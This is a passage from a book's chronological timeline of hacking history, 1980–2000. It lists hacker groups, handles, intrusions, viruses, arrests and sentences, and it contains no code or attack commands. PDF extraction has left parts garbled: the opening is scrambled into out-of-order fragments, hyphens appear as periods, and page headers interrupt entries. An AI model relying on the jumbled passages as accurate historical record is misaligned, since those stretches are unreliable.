by teenage hacker 'Quasi Moto'. [1981] Ian Murphy ('Captain Zap') was the first hacker to be tried and convicted as a felon. Scott McNealy and Bill Joy. [1983] The movie WarGames is released. The C-64 was the first home computer with a standard 64K RAM. [1981 May 28] First mention of Microsoft on Usenet. written in C. destroys data. 8 colors and a 61-key keyboard. Inc.Hacking For Beginners – Manthan Desai 2010 [1980] Usenet is born. :-) [1981] Commodore Business Machines starts shipping the VIC.
'Unknown Soldier'. Lindsly ('Mark Tabas'). [1984] The University of California at Berkeley released version 4. Adam Grant ('The Urvile'). Members included: 'Lex Luther' (founder). 'Terminal Man'. a UNIX intended for educational purposes. [1986 Feb 26] The Phoenix Fortress BBS issues warrants for the arrest and confiscation of the equpment of 7 local users in Fremont. Minix later gave Linus Torvalds the inspiration to start writing Linux . Loyd Blankenship ('The Mentor'). At 17 Poulsen is not prosecuted and Austin receives 3 years probation. [1986 Sep 1] An unknown suspect or group of suspects using the code name Pink Floyd repeatedly accessed the UNIX and Portia computer systems at Stanford University without authorization. The Sysop turns out to be a local law enforcement agent and the Phoenix Fortress created to catch hackers and software pirates. Steinberg ('Frank Drake'). 'Phucked Agent 04'. Steven G. [1983 Nov 12] First mention of Microsoft Windows on Usenet. 'Doctor Who'. Todd Lawrence ('The Marauder).2BSD which included a complete implementation of the TCP/IP networking protocols. 'Phase Jitter'. [1985] Hacker 'zine Phrack is first published by Craig Neidorf ('Knight Lightning') and Randy Tischler ('Taran King'). Patrick K. however. along with 'Lex Luthor'.Hacking For Beginners – Manthan Desai 2010 Eric Corley ('Emmanuel Goldstein') was one. 'Carrier Culprit'. Quantum Computer Services (America Online).co. where he peeped at NASA Department of Defense computer correspondence. 'Gary Seven'.time co-sysop of Plovernet. hacked information about the german Nuclear Power Program from government computers during the Chernobyl crisis. The group's wide ranging activities included diversion of telephone networks.hackingtech. 'Phantom Phreaker'. The law. 'Agrajag The Prolonged'. 'Steve Dahl. 'Randy Smith'. [1984] Andrew Tanenbaum writes the first version of Minix. [1986] The Congress passes Computer Fraud and Abuse Act. Franklin Darden ('The Leftist'). Legion of Doom. 'Sharp Razor'. www. 'Silver Spy'. [1984] Bill Landreth ('The Cracker') is convicted of breaking into some of the most secure computer systems in the United States. Chris Goggans ('Erik Bloodaxe'). 'Paul Muad'Dib'. 'Master of Impact'. 'Doom Prophet'. does not cover juveniles. Mark Abene ('Phiber Optik'). 'Blue Archer'. including GTE Telemail's electronic mail network. James Salsman ('Karl Marx'). Systems based on this and later BSD releases provided a multi-vendor networking capability based on Ethernet networking. [1984] 2600: The Hacker Quarterly founded by Eric Corley ('Emmanuel Goldstein'). Damage was estimated at $10. Legion of Doom. 'Skinny Puppy' and 'Professor Falken'. Scott Chasin ('Doc Holiday'). 'The Videosmith'. [1985 May 24] Date of incorporation under original founding name. [1984 Jun 19] The X Window System is released by Robert W. 'Kerrang Khan'. [1986] The german hacker group. Corey A. 'X-man'.famous treatise that comes to be known as the Hacker's Manifesto. 'The Dragyn'. Scheifler. copying proprietary information from companies and distributing hacking tutorials. CA. 'Prime Suspect'. [1983 Sep 22] Kevin Poulsen ('Dark Dante') and Ron Austin are arrested for breaking into the ARPANET . 'The Warlock'. 'Thomas Covenant'. Chaos Computer Club. He publishes a now. 'King Blotto'. In 1987 Bill violated his probation and was back in jail finishing his sentence.tv Page 240 . Bruce Fancher ('Death Lord'). Robert Riggs ('The Prophet'). Bill also authored an interesting read titled 'Out of the Inner Circle'. [1983 Sep 27] Richard Stallman makes the first Usenet announcement about GNU. 'Bill From RNOC'. a hacker group which operated in the United States in the late 1980's. [1986 Jan 8] Legion of Doom/H member Loyd Blankenship ('The Mentor') is arrested around this time. who would later found the phreaker/hacker group. [1984] Legion of Doom formed.000. Kroupa ('Lord Digital').
[1988 Nov 3] First mention of the Morris worm on Usenet. [see also 1995 Feb. Both Craig and Robert are raided by Federal authorities and later indicted.free number and purchase the same E911 document for less than $20.Hacking For Beginners – Manthan Desai 2010 [1986 Aug] In August. Adam Grant ('The Urvile' and 'Necron 99'). [1989 Jul 21] Known as the "Atlanta Three" case. illegal possession of phone credit card numbers with intent to defraud.replicating worm on the government's ARPANET (precursor to the Internet) to test its effect on UNIX systems. and publishing passwords and instructions on how to violate computer security systems. and Conspiracy. clogging government and university systems. Robert Riggs ('The Prophet'). Zinn was 16 when he managed to break into AT&T and Department of Defense systems. [1989] 22-year-old computer hacker and ex-LOD member Corey Lindsly ('Mark Tabas') pleaded guilty to felony charges relating to using a computer to access US West's system illegally. Berkeley. Zinn was sentenced to nine months in prison and fined $10.co. 1990 but the proceedings unexpectedly ended when the government asked the court to dismiss all the charges when it was discovered that the public could call a toll. [1988 Dec 16] 25-year-old computer hacker Kevin Mitnick is held without bail on charges that include stealing $1 million in software from DEC (Digital Equipment Corporation). a graduate student at Cornell University and son of a chief scientist at a division of the National Security Agency (NSA). 'Phonemasters'] [1989] At the Cern laboratory for research in high-energy physics in Geneva.hackingtech. Morris. while following up a 75 cent accounting error in the computer logs at the Lawrence Berkeley Lab at the University of California.449.000. copying programs valued at millions of dollars.000. [1989 May] A task force in Chicago raids and arrests an alleged computer hacker known as 'Kyrie'. Tim Berners. [1987 Sep 14] It's disclosed publicly that young german computer hackers calling themselves the Data Travellers. A yearlong investigation results in the arrest of the five german hackers responsible. Secret Service (USSS) secretly videotapes the SummerCon hacker convention.Lee and Robert Cailliau develop the protocols that will become the world wide web. [1989 Jan 23] Herbert Zinn ('Shadowhawk'). network manager Clifford Stoll uncovers evidence of hackers at work. which resulted in five years probation.tv Page 241 . [1988 Dec] Legion of Doom hacker Robert Riggs ('The Prophet') cracks BellSouth AIMSX computer network and downloads E911 document (describes how the 911 emergency phone system works). 3 members of the LOD/H (Legion of Doom) where charged with hacking into Bell South's Telephone (including 911) Networks . [1987 Dec] Kevin Mitnick invades systems at Santa Cruz Operation. [1987 Nov 23] Chaos Computer Club hacks NASA's SPAN network. including VMS source code.. The three hackers where: Franklin Darden ('The Leftist'). 1989. and a BellSouth security official testified at trial it was worth $24. www. He was convicted on January 23. managed to break into NASA network computers and other world-wide top secret computer installations.S. a high school dropout. Riggs sends a copy toPhrack editor Craig Neidorf ('Knight Lightning'). sentenced to three years probation and fined $10. The indictment said the "computerized text file" was worth $79. after he cooperates by telling SCO engineers how he got into their systems. Jr. Mitnick sentenced to probabtion for stealing software from SCO. and causing that firm $4 million in damages. The trial began on July 23.possessing proprietary BellSouth software and Information. unauthorized intrusion. The worm gets out of hand and spreads to some 6. launches a self. Morris is dismissed from Cornell. [1989 Jun] An underground group of hackers known as the NuPrometheus League distributes proprietary software illegally obtained from Apple Computer . [1988 Nov 2] Robert T.639. of destroying $174.000 networked computers.000 worth of files. [1988 Jun] The U. was the first to be convicted (as a juvenile) under the Computer Fraud and Abuse Act of 1986.
Richmond.hackingtech. has admitted breaking into aNASA computer system. San Jose and San Francisco. prevailed in an ensuing legal battle.R. www.a password inside a federal computer. Steve Jackson Games. Indiana cracks into McDonald's mainframe on the Sprint Telenet system. Doomsday passes without much incident. May 9. Louis. workers Loyd Blankenship ('The Mentor') and Chris Goggans ('Erik Bloodaxe'). Miami. San Diego. and weapons systems development data. [1990] Kevin Poulsen's now. a 16-year-old in Elmwood.sex line answered by "Tina.personnel performance reports. Finding a rulebook to a game called G. [1990 May 7] May 7 through Wednesday. [1991] The Internet. the United States Secret Service and the Arizona Organized Crime and Racketeering Bureau implement Operation Sundevil computer hacker raids in Cincinnati. [1990 May] At least four British clearing banks are being blackmailed by a mysterious group of computer hackers who have broken into their central computer systems.co. One computer expert described their level of expertise and knowledge of the clearing bank computer systems as "truly frightening". [1990 Jan 18] Chicago task force raids an alleged computer hacker Craig Neidorf ('Knight Lightning') in St. logistics. blocking out all calls but their own.000 Porsche given to the 102nd caller. CYBERPUNK . During the nine long hours of frantic effort that it took to restore service. Wittman plead guilty to a single count of altering information . travel information. Reportedly. Pittsburgh.P. Wittman Jr. [1990 Mar 7] A 24 year-old Denver man. raiders interpreted the findings as a tutorial on computer hacking and proceeded to seize equipment and documents found at the site. 1990s [1990] Electronic Frontier Foundation is formed by Mitch Kapor and John Perry Barlow in part to defend the rights of those investigated for alleged computer hacking. Then he dialed the 102nd call -. Len somehow got his hands on System V 3. Tucson. Phoenix. [1990 Apr] Between April 1990 and May 1991. 1992. with a $50. Richard G.2 AT&T Unix Source Code.c [1990 Feb 21] Chicago Task Force raids the home of Robert Izenberg. Kevin and his associates. Inc.S." On September 14 1990. the artist's 517th birthday. however their equipment was never returned in its entirety. In a plea bargain. some seventy million telephone calls went uncompleted. That ban is lifted this year. Secret Service raid an alleged computer hacker Len Rose ('Terminus') in Maryland. Inc.four months probation and four hundred hours community service. the hackers had access to unclassified. At many of the sites. [1990 Jan 15] AT&T's long-distance telephone switching system crashed.infamous incident with KIIS-FM in Los Angeles.Hacking For Beginners – Manthan Desai 2010 [1989 Jun 22] 'Fry Guy'. [1990 Mar 1] Chicago task force raids Steve Jackson Games. Los Angeles.and later collected his Porsche 944.S.-descriptions of the type and quantity of equipment being moved. [1991] Rumors circulate about the Michelangelo virus. sensitive information on such topics as military personnel. The hackers demanded substantial sums of money in return for showing the banks how their systems where penetrated. and personnel reductions. had ties to a hacker group (LOD) that the Justice Department was investigating. having been established to link the military and educational institutions banned access to businesses. Hackers where first suspected of causing the crash but later AT&T engineers discovered the "culprit" was a bug in AT&T's own software. an alleged computer hacker in Austin. including the source login. [1990 Feb] U. he was sentenced to forty. Newark.. One act involved the young hacker altering phone switches so that calls to a Florida county probation department would ring at a New York phone. computer hackers from the Netherlands penetrated 34DOD sites.tv Page 242 . seized control of the station's 25 telephone lines. In 1990 the station ran the "Win a Porsche by Friday" contest. Detroit. a program expected to crash computers on March 6. stationed at their computers.U. [1991 Feb] DOS version of AOL released.
Soon after. becomes the first commercial standalone distribution of Linux .Hacking For Beginners – Manthan Desai [1991 Apr 11] Kevin Poulsen ('Dark Dante') arrested for breaking into Pacific Bell phone systems. [1994] Linux 1. [1991 Sep] Justin Petersen released from prison to help FBI track hacker Kevin Mitnick . 'The Seeker'. Allen Wilson ('Wing'). [1991 Oct 5] Linus Torvalds decides to announce the availability of a free minix. by Patrick Volkerding.minix. New York magazine dubbed him one of the city's 100 smartest people.co. [1994 Mar 23] 16-year-old music student Richard Pryce ('Datastream Cowboy') is arrested and charged with breaking into hundreds of computers including those at the Griffiths Air Force base. Richard "curled up on the floor and cried. [1992 Nov] Kevin Mitnick cracks into California Department of Motor Vehicles. but the gathering is so popular it becomes an annual event. 'Red Knight'.tv Page 243 . [1993 Oct 28] Randal Schwartz uses Crack at Intel to crack passwords. Later.like kernel called Linux on Usenet." Pryce later pled guilty to 12 hacking offenses and fined $1. [1993 Mar 1] Microsoft releases Windows NT. posts the infamous LINUX is obsolete newsgroup posting on comp. 'HAC'. [1991 Aug 6] Tim Berners.time party to say good. [1992] Masters of Deception (MOD) phone phreakers busted via wiretaps. Linux creator Linus Torvalds quickly responds to the posting. 'Lord Micro' and Julio Fernandez ('Outlaw'). stealing credit cards. The charges against Bevan were later dropped and now he works as a computer security consultant. Later.01.Lee's Usenet announcement of the World Wide Web project. While a computer science student at the University of Helsinki Linus created the Linux operating. Mark inspired thousands of teenagers around the country to "study" the internal workings of our nation's phone system. Other MOD members: Elias Ladopoulos ('Acid Phreak').home party in Mark's honor at a Manhattan Club. stealing credit card numbers and selling credit reports.bye to BBSs (now replaced by the Web). later found guilty under an Oregon computer crime law. NASA and the Korean Atomic Research Institute. [1992] Morty Rosenfeld convicted after hacking into TRW.800. Andy Tanenbaum.0 is released. The Times of London reported that knowing he was about to be arrested. 2010 [1991 Jul] Justin Petersen ('Agent Steal' and 'Eric Heinz') arrested for breaking into TRW. led a Russian hacker group in the first publicly revealed international bank www. [1991 Sep 17] Linus Torvalds publicly releases Linux version 0. [1992 Jan 29] Minix creator.hackingtech. [1993 Jul 9] The first Def Con hacking conference takes place in Las Vegas. and sentenced. John Lee ('Corrupt'). [1993 Jun] Slackware . mentor to Pryce was finally tracked down and arrested. A federal judge attempted to "send a message" to other hackers by sentencing Mark to a year in federal prison. As a founding member of the Masters of Deception . [1994] Red Hat is founded.os. [1994 Jan 12] Mark Abene ('Phiber Optik') starts his one year sentence. but the message got garbled: Hundreds of well-wishers attended a welcome. Paul Stira ('Scorpion'). [1993 Aug] Justin Petersen arrested for stealing computer access equipment. [1994 Jun 13] Vladimir Levin. Linus originally named his operating system Freax.0 is released. [1993 Dec] FreeBSD version 1. Matthew Bevan ('Kuji'). a 23-year-old. The conference is meant to be a one.
co. using the default exportable mode. Sun . Internet Service Providers. Oregon. Mitnick was first suspected of hacking into Tsutomu's computers in 1994 but an unknown Israeli hacker (friend to Mitnick) was later suspected.reporting databases belonging to Equifax Inc.000 credit card numbers.line and accessible to the unauthorized. [1994 Dec 25] Kevin Mitnick (supposedly) cracks into Tsutomu Shimomura's computers. and educational institutions. known as the 'Phonemasters'. Thomas Gurtler in Ohio. [1995 Mar 18] SATAN (Security Administrator Tool for Analyzing Networks) security tool released to the Internet byDan Farmer and Wietse Venema . Nokia. which claims to have recovered all but $400. They broke into credit.hackingtech. 16 1999 Corey Lindsly. Fujitsu . British Telecom. MCI WorldCom. of Portland. [1994 Sep] Netcom's (bought by MindSpring. www. Calvin Cantrell. They entered Nexis/Lexis databases and systems of Dun & Bradstreet . [1995 Aug 16] French student Damien Doligez cracks 40-bit RC4 encryption. Calvin Cantrell ('Zibby') and Brian Jaynes both located in Dallas.tv Page 244 . Sprint .000 of the money.Hacking For Beginners – Manthan Desai 2010 robbery over a network. The challenge presented the encrypted data of a Netscape session. The group penetrated the systems of AT&T . Chris was sentenced for a number of crimes to which he pled guilty. MindSpring then bought by Earthlink) credit card numbers there. The crimes involved the theft and sale of Southwestern Bell circuit boards. puts Shimomura's files and Netcom (bought by MindSpring.1. Other 'Phonemasters' members: John Bosanac ('Gatsby') from San Diego. They get the session key in a few hours on a single workstation.random number generator of Netscape Navigator 1. a phone dialing program modeled on the program Matthew Broderick used in the movie WarGames to find open modem lines in telephone exchanges. to include the National Crime Information Center (NCIC) computer. copying. was sentenced to forty-one months imprisonment and ordered to pay $10. airtrafficcontrol systems and had hacked their way into a digital cache of unpublished phone numbers at theWhite House . Corey Lindsly ('Mark Tabas') was the major ringleader in a computer hacker organization. whose ultimate goal was to own the telecommunications infrastructure from coasttocoast. Mitnick was also in possession of 20. cellular telephone manufacturers.000 to the victim corporations. and NEC. The release stirs huge debate about security auditing tools being given to the public. age 30. Levin was later caught and sentenced to 3 years in prison. [1994 Aug] Justin Petersen electronically steals $150k from Heller Financial. [1995 May 5] Chris Lamprecht ('Minor Threat') becomes 1st person banned from Internet. and TRW Inc. Texas. Rudy Lombardi ('Bro') in Canada. In the early 1990s Chris wrote a program called ToneLoc (Tone Locator). of Grand Prairie. 40-bit RC4 encryption. The Israeli hacker was thought to be looking for the Oki cell phone disassembler written by Shimomura and wanted by Mitnick. GTE. A federal court granted the FBI permission to use the first ever "data tap" to monitor the hacker's activities.000 to the victim corporations.. and misappropriating proprietary computer software from Motorola . age 32. These hackers organized their assaults on the computers through teleconferencing and utilized the encryption program PGP to hide the data which they traded with each other. [1995 Sep 11] 22-year-old Golle Cushing ('Alpha Bits') arrested for selling credit card and cell phone info. and stealing. Novell . John Bosanac got 18 months. Southwestern Bell and systems owned by state and federal governmental agencies. They had access to portions of the national power grid. [1995 Feb] Ex-LOD member. was sentenced to two years imprisonment and ordered to pay $10. On Sep. [1995 Sep 17] Ian Goldberg and David Wagner broke the pseudo. MindSpring then bought by Earthlink) credit card database was on. [1995 Jan 27] Kevin Mitnick cracks into the Well . [1995 Feb 15] Kevin Mitnick arrested and charged with obtaining unauthorized access to computers belonging to numerous computer software and computer operating systems manufacturers. Stealing around 10 million dollars from Citibank . Doligez broke the code in eight days using 112 workstations.
First federal computer sabotage case.500. according to the report.S. He received a one. [1996 Jul 5] First known Excel virus. Mitnick was charged with 14 counts of wire fraud. The software time bomb destroyed the company's computer network and the global manufacturer's ability to manufacture in the summer of 1996. illegal wiretapping.Hacking For Beginners – Manthan Desai 2010 [1995 Nov 15] On November 15. [1996 Jul 31] Tim Lloyd plants software time bomb at Omega Engineering in NJ. He also was ordered to pay more than $2 million in restitution. unauthorized access to many corporate and government computers includingSouthwestern Bell. Louis honor student indicted in Philadelphia for computer fraud. military computers. [1996 Sep 6] DoS attack against Panix.hackingtech. [1996 Apr 5] 19-year-old Christopher Schanot ('N00gz') a St.line has been threatening to crash systems at the Boston Herald newspaper and several Internet Service providers in the Boston. hacked into national computer networks. The charges also accuse him of damaging USC's computers and "stealing and compiling" numerous electronic files containing passwords. the hacker would not devastate the company's computers. but found guilty of damaging government property and computer fraud. Lloyd received 41 months in jail. 'eliteone'. Army systems and furnishing passwords to a citizen of communist China.000. www. Christopher Pile becomes the first person to be jailed for writing and distributing a computer virus. The new message said. The deal: If Icanet agreed to buy his computer security program for $30. Sprint .fi customer was posting the church's secrets on the Net. a 27-year-old Indonesian computer science student in Germany. a Fort Bragg. [1996 Sep] Johan Helsingius closes penet. [1996 Apr 19] Hackers break into the NYPD' s phone system and change the taped message that greeted callers. was raided by the Finnish police in 1995 after the Church of Scientology complained that a penet. Pile. the world's most popular anonymous remailer. "officers are too busy eating doughnuts and drinking coffee to answer the phones.year suspended sentence and was fined $1. About 65 percent of the attempts were successful. and the TRW and Sprint credit reporting service. called Laroux is found. [1996 Apr 4] According to prosecutors. An investigation is initiated by the NYPD Computer Crimes section." It directed callers to dial 119 in an emergency. 'el8' and 'b1ff' on. NC paratrooper is accused of hacking U. [1996 Sep 25] Kevin Mitnick indicted for damaging computers at USC. An attacker used a single computer to send thousands of copies of a simple message that computers use to start a two-way dialog. arising from his alleged theft of proprietary software from manufacturers. Massachusetts area. Helsingius closed the remailer after a Finnish court ruled he must reveal the customer's real e-mail address. found a weakness and then told his superiors about it. a New York.S. Eric was later cleared of the spy charges. was sentenced to 18 months in jail. was convicted of computer sabotage and attempted extortion.fi.000 times in 1995 alone. 19-year-old Christopher Schanot of St.fi. and SRI . [1996 Mar 6] United Press International (UPI) reveals that a hacker called 'u4ea' and also known as 'el8ite'. Louis. [1996] The internet now has over 16 million hosts and is growing rapidly. who called himself the 'Black Baron'.tv Page 245 . General Accounting Office reports that hackers attempted to break into Defense Department computer files some 250. Andy Hendrata.com. Missouri. [1996 Aug 22] Eric Jenott . [1996] Icanet. Reports indicate that the hacker may have covertly entered up to 100 Internet sites and desytroyed files on many of them. Penet. was threatened by an extortionist in Germany.co. In April. BELLCORE. Eric's attorney says the Fort Bragg soldier is just a computer hacker who tested the strength of a supposedly impenetrable computer system. The Panix machines receiving the messages had to allocate so much computer capacity to handle the dialogs that they used up their resources and were disabled. The attack caused the company $12 million in losses and cost 80 employees their jobs. a company that designed Internet sites for public schools.based ISP. [1996] The U.
Los Alamos National Laboratory and the Naval Command.hackingtech. MindSpring then bought by Earthlink) voice-mail hacked by 'Mr Nobody'. [1997 Oct 31] Eugene Kashpureff arrested for redirecting the NSI web page to his Alternic web site. Before the attacks were stopped by bringing the system offline.to wreak havoc on America Online (AOL). The 15-year-old intruder claimed he has been inside Netcom's voice-mail for two years. [1997 Jun] Netcom (bought by MindSpring. a security expert.000).400) of those funds. "This is why you should use a longer key. his chief commercial competitor. Control and Ocean Surveillance Center. thousands of user www. NASA . hacked into the Industrial and Commercial Bank of China computers and shifted 720. [1997 Dec 8] www. TFN was attacked by a person or persons whose intent was clearly to destroy all of the files on the system. Jingwen and his brother.linked computers to communicate with each other. who used the on.line name 'Smak'. a freeware application that allows a burgeoning community of unskilled hackers -.co.Hacking For Beginners – Manthan Desai 2010 [1997] AOHell is released. [1997 Dec] Julio Ardita ('El Griton') a 21 year old Argentinean was sentenced to a three. In September of 1998. demonstrated an ActiveX hacking program that allowed them to access copies of Quicken . allegedly inserted a sniffer program that gathered the credit information from a dozen companies selling products over the Internet.000 credit card numbers along with enough information to use them. the accounting software package from Intuit. they withdrew 260. By exploiting a weakness in that software. [1997 Jan 28] Ian Goldberg . took on RSA Data Security's challenge and cracked the 40-bit code by linking together 250 idle workstations that allowed him to test 100 billion possible "keys" per hour.yahoo. to his AlterNIC web site.tv Page 246 . The Yangzhou Intermediate People 's Court in eastern Jiangsu province of China rejected an appeal of Hao Jingwen and upholding a death sentence against him.000 yuan ($87. Hao Jinglong. impeding those users' ability to register web site domain names or to review InterNIC's popular "electronic directory" for existing domain names. he cracked into numerous Mailboxes via his telephone key pad and used the system to break into third-party telephone switches to make longdistance calls. without needing to enter the normal password security systems of Quicken.com is defaced by 'pantz' and 'h4gis'. and that he had no intention of generating a flood of password files into his mailbox. Many of the computers obligingly sent him their password files. Hao Jinglong 's original sentence to death was suspended in return for his testimony. There. which read.or script kiddies -." [1997 Feb 5] Members of the Chaos Computer Club. Hao Jinglong and Hao Jingwen (twin brothers) are sentenced to death by a court in China for breaking into a bank computer network and stealing 720. In three and a half hours Goldberg had decoded the message. 'Jester' cuts off the FAA tower at Worcester Airport and sentenced to paying restitution to the telephone company and complete 250 hours of community service. Kashpureff designed a corruption of the software system that allows Internet. Jr. 36. a University of California-Berkeley graduate student. for security reasons. said the FBI. Kashpureff hijacked Internet users attempting to reach the web site for InterNIC. [1997 Mar 10] Hacker named 'Jester' has the first federal charges brought against a juvenile for a computer crime. forcing the AOL to act. [1998 Jan 1] Mark Abene ('Phiber Optik'). [1998 Jan 16] Tallahassee Freenet hacked.000 yuan ($87. [1998] Two hackers. Carlos gathered 100.000 yuan ($31. Abene explained that the command was the result of a misconfigured system.000) into accounts they had set up under phoney names.year probation for hacking into computer systems belonging to Harvard . and transfer money between bank accounts.. after it had declined to do so in response to widespread criticism that the site contains offensive material. [1997 Apr 21] A hacker named 'Joka' managed to trick America Online to briefly shut down a site run by the Texas branch of the Ku Klux Klan. the infamous hacking elite of Germany. launched a command to check a client's password files—and ended up broadcasting the instruction to thousands of computers worldwide. [1997 May 23] Carlos Felipe Salgado.
[1998 Jun 30] Former Coast Guard employee. [1998 Apr 22] The MoD criminal hacker group (Masters of Downloading." The participants collectively examined 6.000 people) to social engineer his way into the ACLU's web site. a former employee of NASA contractor Lockheed Martin Corp. [1998 Mar 18] Ehud Tenebaum ('The Analyzer'). [1998 Feb 25] MIT Plasma & Fusion Center (PSFC) and DoD computers hacked by Ehud Tenebaum ('Analyzer'). which was wiped out as a result of the attack. Officials suspect him of working in concert with American teens to break into Pentagon computers. Florida. calling Deutsche Telekom's security for the online service "absolutely primitive". [1998 May 30] A criminal hacker used the sheer size of AOL's technical support (6.II-1 challenge by RSA Data Security was completed by a massively distributed array of computers coordinating their brute.S. Shakunla DeviSingla. The youth was later ordered to probationary conditions for 12 months. The two 16-year-old hackers bragged about their exploits.. [1998 May] Members from the Boston hacker group." The attacks exploited a well-known vulnerability in the Solaris operating system for which a patch had been available for months. which controls the military's global positioning satellites (GPSs).. testify before the U. A 19-year-old Israeli hacker who calls himself 'The Analyzer' (Ehud Tenebaum) is eventually identified as their ringleader and arrested. The attacker repeatedly phoned AOL until he found a support technician foolish enough to grant access to the targeted web site. L0pht (now @stake ). 26. Then-U.net "organization. of Orlando. a tool for analyzing and www.force attacks via the distributed. entered a personnel database she had helped design. leads to the establishment of roundtheclock. "Many hands make light work. hacker friends ('Cloverdale Two'). After gaining access to an account. Her action required 115 employees and 1800 hours to recover the deleted information [1998 Jul 31] During Def Con 6 The Cult of the Dead Cow (cDc) release Back Orifice (BO). [1998 Mar 3] Santa Rosa Internet Service Provider NetDex rehacked by Ehud Tenebaum ('Analyzer'). [1998 Apr] Shawn Hillis. Israeli Prime Minister Benjamin Netanyahu calls Tenebaum "damn good . hackers touch off a string of break. Senate about Internet vulnerabilities. [1998 Feb.S. pled guilty in Federal district court to using a NASA workstation at the Kennedy Space Center to gain unauthorized access to computer networks of several Orlando businesses. and steal information about hundreds of bank accounts. The MIT computer was running an old version of Linux . During heightened tensions in the Persian Gulf. Today Tenebaum is chief technology officer of a computer consulting firm.000 e-mail messages across a NASA network against another person using network systems in a commercial domain.S. An investigation points to two American teens.. and all of the user spool mail had been deleted. the vulnerability which facilitated intrusion. military systems to date.ins to unclassified Pentagon computers and steal software programs. DeviSingla used her experience and a former co-worker ' s password and other identification to delete data. [1998 Apr 20] An Alabama juvenile hacker launches an e-mail bomb attack consisting of 14. not to be confused with the 1980's group Masters of Deception) claimed to have broken into a number of military networks. a series of attacks targeting Pentagon computers. online guard duty at major military computer sites.sniffer. including theDISN (Defense Information Systems Network).S.hackingtech. an Israeli teen-ager is arrested in Israel. Deputy Defense Secretary John Hamre calls it "the most organized and systematic attack" on U. the online service run by Germany's national telephone company. The hackers were able to collect user names and passwords to computers outside the network. in retaliation over the arrest of his two U. [1998 Mar 20] Two teenagers hack T-Online. [1998 Feb 27] The 56-bit DES. the hackers took advantage of other security holes and installed a packet.co." The cleartext message read. and very dangerous.Hacking For Beginners – Manthan Desai 2010 home directories.tv Page 247 .3 x 10^16 keys—fully 90 percent of the entire keyspace—in about 40 days. and the DEM (DISN Equipment Manager). 26] Solar Sunrise. many system files.
renaming it HFG (Hacking for Girls). The shut down www. he allegedly intercepted login names and passwords. begins to gain popularity. [1999 Mar 18] Jay Satiro. The attack was eventually traced to the teen's home. It was created by Northeastern University students Shawn Fanning and Sean Parker.63 years of computer processing time in his search for a new prime number. that takes his initials. In early November." [1998 Oct 1] Hackers calling themselves the Electronic Disruption Theater allege the Pentagon used illegal offensive information warfare techniques (DDoS attack). Jay pled guilty and was sentenced to one year in jail and five years without a home PC. flooding the location with pings. used mainly to copy and swap unencrypted files of songs for free. [1999 Feb 1] Canadian teen charged in Smurf attack of Sympatico ISP. respectively. It was later discovered that the infamous Israeli hacker. and ordered to pay $5. where. was named after a Florida stripper. [1999 May] The Napster peer. Blosser enlisted 2. age 28. "When I started working at U S West.500 U S West computers by installing a program that would utilize their idle time to find very large prime numbers. [1999 Apr] Ikenna Iffih. 2010 [1998 Sep 13] Hackers deface The New York Times (www.to-peer MP3 file-sharing system. Their combined computational power in theory surpassed that of most supercomputers. [1998 Nov] The 'Cloverdale Two' sentenced to 3 years probation. [1999 Feb 15] 15-year-old from Vienna hacks into Clemson University's system and tries breaking into NASA .. had attracted 85 million registered users downloading as many as 3 billion songs a month.a charge DoD officials deny. 2001.. On November 17. Napster. "I've worked on this (math) problem for a long time.tv Page 248 ." said Blosser. the subject of the book 'Takedown ' coauthored by Times reporter John Markoff . including those controlled by NASA and an agency of the U. primarily on college campuses where students have easy access to high-speed Internet connections. Department of Defense . the creator of the CIH virus. Before being shut down on July 2. the two Cloverdale.nytimes. among other things. of Boston.000 in restitution.S.gov defaced by Global Hell. [1999 Mar 26] Melissa virus affects 100. The virus known as Melissa. The hackers express anger at the arrest and imprisonment of Kevin Mitnick. Massachusetts. an 18-year-old high school dropout was charged with computer tampering after hacking into the internal computers of America Online and altering some programs. written by David Smith a 29-year-old New Jersey computer programmer.585 computers to work at various times during the day and night and quickly ran up 10. [1998 Sep 17] Aaron Blosser a contract programmer and self-described "math geek" harnessed over 2. Smurf attacks are when a malicious Internet user fools hundreds or thousands of systems into sending traffic to one location.Hacking For Beginners – Manthan Desai compromising Windows security. [1999 Jul 10] Back Orifice 2000 released at Def Con 7. California teens ('Makaveli' and 'Too Short') hacked dozens of computer systems. [1999 Aug 30] Microsoft Corporation shuts down its Hotmail operation for approximately two hours. This was the first known virus to target the flash BIOS. including ones run by the Pentagon .com) web site. 2000. placed on supervised release for 48 months.to thwart the group's recent computer attack. all that computational power was just too tempting for me. he was sentenced to 6 months home detention. was charged with using his home computer to illegally gain access to a number of computers.hackingtech. age 19 and 20. Ehud Tenebaum ('Analyzer') was the mastermind and mentor to the teens.000 email users and caused $80 million in damages. [1999 Apr 26] CIH virus released by Chen Ing-Hou. and intentionally caused delays and damage in communications.co. [1999 May 11] Whitehouse. two members of HFG told Forbes magazine that they initiated the attack because they were bored and couldn't agree on a video to watch.
Amazon . passwords and credit card details of more than 24.000 people.Hacking For Beginners – Manthan Desai 2010 comes after receiving confirmed reports that hackers breached some of their servers by entering Hotmail accounts through third-party Internet providers without using passwords.tv Page 249 .S. British and Canadian companies during a "crusade" to expose holes in Internet security and who used computer billionaire Bill Gates' credit card details to send him Viagra. [1999 Aug 19] ABC news web site defaced by United Loan Gunmen. 12 2001 to eight months in a youth detention center. a program used to crack the Content Scrambling System (CSS) encryption used to protect every DVD movie on the market. The auditors tapped into this file without valid user authentication and gained access to employee's Social Security numbers. [2000 Feb 7] 16-year-old Canadian hacker nicknamed 'Mafiaboy '. Raphael styled himself as a "saint of e-commerce". 2000 authorities in Norway raid Johansen's house and take computer equipment. one of the three founding members of MoRE (Masters of Reverse Engineering). [1999 Sep 13] Drudge Report web site defaced by United Loan Gunmen [1999 Sep 23] Nasdaq and American Stock Exchange web sites defaced by United Loan Gunmen. based in Vienna. [2000 May] GAO (General Accounting Office) auditors were able to gain access to sensitive personal information from the Department of Defense (DOD) through a file that was publicly available over the Internet. addresses and pay information. age 25. this time hitting eBay . [1999 Sep 5] C-Span web site defaced by United Loan Gunmen. ZDNet .line for over 3 hours. Those records typically contain information such as a customer's name. government officials. Buy. E*Trade and MSN. Texas was sentenced in federal court to 21 months www. addresses.co.000 credit card numbers from 8 small companies. carried out his distributed denial-of-service (DDoS) spree using attack tools available on the Internet that let him launch a remotely coordinated blitz of 1-gigabits. CNN. After pleding guilty 'Mafiaboy' was sentenced on Sep. the trio of programmers who created a huge stir in the DVD marketplace by releasing DeCSS . Virginia. [2000 Jul 24] Andrew Miffleton ('Daphtpunk'). 24. Jon Johansen . [2000 May 15] Love Bug virus sent from Philippines. The hacker said breaching the site's security was "child's play". AMA computer college. of 